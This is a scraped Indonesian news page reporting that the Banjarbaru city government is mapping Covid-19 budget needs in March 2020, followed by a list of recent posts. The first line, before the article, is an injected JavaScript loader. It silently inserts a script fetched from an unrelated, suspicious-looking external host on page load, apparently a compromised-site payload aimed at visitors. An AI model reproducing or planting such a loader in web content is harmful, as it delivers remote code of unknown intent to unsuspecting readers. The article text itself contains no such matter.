(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Pemko Banjarbaru Lakukan Pemetaan Anggaran Hadapi Pandemi Covid-19


KANALKALIMANTAN.COM, BANJARBARU – Hingga Selasa (24/3/2020) ini, dipastikan ada 97 Orang Dalam Pengawasan (ODP) Covid-19 yang berasal dari Kota Banjarbaru. Jumlah ini menjadikan wilayah Banjarbaru menempati posisi tertinggi dengan jumlah ODP terbanyak dibandingkan dengan kabupaten/kota lain yang ada di Provinsi Kalimantan Selatan.

Oleh karenanya, upaya Pencegahan, Penanganan dan Pengendalian (P3) covid-19 mulai disiapkan oleh Pemerintah Kota Banjarbaru dari segala sisi. Salah satunya yakni, kebutuhan anggaran.

Saat ini, Pemko Banjarbaru tengah memetakan kebutuhan anggaran dalam upaya menghadapi pandemi virus corona. Hal tersebut diungkapkan Kepala Badan Pengelolaan Keuangan dan Aset Daerah (BPKAD) Kota Banjarbaru, Jainudin.

Dikatakannya, pemerintah pusat telah memberikan instruksi dalam kesiapan anggaran menghadapi pandemi virus corona di level daerah melalui DAK (Dana Alokasi Khusus). Hal itu juga tertera melalui Surat Keputusan (SK) Menteri Kesehatan No. HK.01.07/Menkes/215/2020 tentang Pemanfaatan DAK Bidang Kesehatan untuk penanganan Covid-19.

“Karena surat edaran telah kita terima, maka saat ini sedang disusun skema anggarannya. Hari ini kita sudah rapat dengan dinas teknis, dalam hal ini Dinas Kesehatan serta pihak rumah sakit,” ujar Jainudin.

Saat ini untuk besaran anggaran yang disediakan masih dalam proses penghitungan. Sehingga, untuk total nominal yang akan dialokasikan untuk penanganan Covid-19 ini belum dapat diketahui. Namun, ditegaskan Jai -sapaan akrabnya, anggaran disusun sesuai dengan kebutuhan oleh pihak Dinkes dan Rumah Sakit.

“Kita masih menunggu pihak Dinkes dan pihak Rumah Sakit mengusulkan kebutuhannya. Nanti usuluan itu dimasukkan di DAK ini,” tambahnya.
Selain DAK, kata Jai, anggaran darurat penanganan Corona juga bisa bersumber dari DAU (Dana Alokasi Umum), Dana Insentif Daerah (DID) serta dana tidak terduga. Nantinya, dalam pengelolaan anggaran terkait virus Corona ini bisa berlandaskan pada Peraturan Menteri Keuangan (PMK).

“Bisa juga kita memakai PMK No 19/PMK.07/2020 tentang penyaluran DBH (Dana Bagi Hasil), DAU, DID Tahun Anggaran 2020 dalam rangka penanggulanfan Covid-19 ini. Hal ini telah kita sampaikan dan rapatkan dengab gugus tugas,” jelasnya. (Kanalkalimantan.com/rico)

Reporter : Rico
Editor : Chell


Desy Arfianty

Recent Posts

Memberdayakan Gen Z Lewat Literasi Digital, Skill Development, Akademi, dan Hiburan

KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More

10 jam ago

Generasi Happy 2024 di Murdjani, Yura Yunita Ajak Gen Z Gali Potensi di Dunia Digital

KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More

10 jam ago

Perkuat Tata Kelola Perusahaan, PLN Tingkatkan Sinergi dengan Dua Kejati di Kalimantan

KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

11 jam ago

Begini Hitung-hitungan Pajak Baru Kendaraan Bermotor 2025

KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More

12 jam ago

Sinergi Pelayanan Antar Proses Bisnis, PLN UIP3B Kalimantan Gelar Customer Gathering 2024

KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

14 jam ago

Kemajuan Pembangunan Kabupaten Banjar di Segala Bidang

KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More

14 jam ago

This website uses cookies.